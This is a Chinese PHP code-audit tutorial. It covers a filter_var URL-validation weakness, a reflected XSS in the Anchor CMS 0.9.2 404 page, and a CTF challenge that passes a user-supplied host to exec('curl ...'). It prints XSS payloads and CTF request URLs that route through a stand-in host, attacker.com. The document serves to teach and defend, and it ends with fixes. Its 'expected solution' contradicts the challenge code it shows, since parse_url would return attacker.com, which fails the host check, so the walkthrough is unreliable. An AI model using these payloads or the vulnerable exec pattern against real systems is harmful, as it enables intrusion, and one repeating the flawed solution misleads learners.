[红日安全]代码审计Day2 - filter_var函数缺陷
字数 1038 2025-08-29 08:32:24
PHP代码审计:filter_var函数缺陷与XSS漏洞利用
1. 漏洞背景
本文分析PHP中filter_var函数在URL验证时的缺陷,以及如何利用这种缺陷绕过安全过滤实现XSS攻击。案例来源于Twig模板引擎和Anchor CMS 0.9.2版本的实际漏洞。
2. 核心漏洞分析
2.1 filter_var函数缺陷
filter_var是PHP内置的变量过滤函数,当使用FILTER_VALIDATE_URL过滤器时存在以下问题:
filter_var($url, FILTER_VALIDATE_URL)
该验证对javascript:伪协议的处理不够严格,允许攻击者构造特殊格式的URL绕过验证。
2.2 典型绕过方式
使用JavaScript伪协议和换行符绕过:
javascript://comment%250aalert(1)
绕过原理:
//在JavaScript中表示单行注释%250a解码后为%0a(换行符)- 换行后
alert(1)不再被注释,得以执行
3. 实例分析:Anchor CMS 0.9.2 XSS漏洞
3.1 漏洞位置
themes\default\404.php中的404错误处理页面:
<code><?php echo current_url(); ?></code>
3.2 漏洞链分析
-
current_url()函数调用链:function current_url() { return Uri::current(); } -
Uri::current()方法最终调用Uri::detect()获取当前URL -
检测逻辑从
$_SERVER获取以下值:- REQUEST_URI
- PATH_INFO
- ORIG_PATH_INFO
-
仅进行基本的URL过滤:
filter_var($uri, FILTER_SANITIZE_URL)
3.3 漏洞利用
构造Payload访问不存在的URL:
http://localhost/anchor/index.php/<script>alert('xss')</script>
404页面会直接将恶意脚本输出到<code>标签中,导致XSS执行。
4. 修复建议
4.1 输入过滤
使用严格的HTML实体编码:
htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
4.2 白名单验证
对URL进行白名单验证,如DedeCMS的防护代码:
function _FilterAll($fvalue) {
global $cfg_notallowstr,$cfg_replacestr;
if ( preg_match("/".$cfg_notallowstr."/i", $fvalue) ) {
$fvalue = preg_replace("/".$cfg_notallowstr."/i", $cfg_replacestr, $fvalue);
}
return $fvalue;
}
5. CTF题目解析
题目代码:
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/', $site_info['host'])){
exec('curl "' . $site_info['host'] . '"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
} else {
die("<center><h1>Error: Host not allowed</h1></center>");
}
}
解题思路
- 利用
filter_var的URL验证缺陷 - 构造特殊格式的URL使
parse_url和正则验证产生差异 - 最终目标是读取
f1agi3hEre.php中的flag
预期解法
构造URL使parse_url解析出的host为sec-redclub.com,但实际curl请求其他地址:
?url=http://sec-redclub.com@attacker.com/f1agi3hEre.php
或利用特殊字符绕过:
?url=http://sec-redclub.com\@attacker.com/f1agi3hEre.php
6. 总结
filter_var的URL验证不可靠,需结合其他验证手段- JavaScript伪协议和特殊字符可绕过URL验证
- 输出时务必使用
htmlspecialchars进行编码 - 安全防御应采用多层过滤和编码策略